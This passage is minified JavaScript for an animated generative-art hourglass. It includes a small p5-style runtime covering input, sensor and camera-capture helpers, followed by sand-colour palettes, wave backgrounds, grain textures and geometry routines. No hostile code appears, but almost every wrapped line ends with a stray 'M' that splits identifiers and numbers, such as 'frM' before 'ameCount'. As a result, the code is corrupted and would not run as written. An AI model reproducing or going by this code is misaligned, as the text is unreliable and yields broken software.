7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
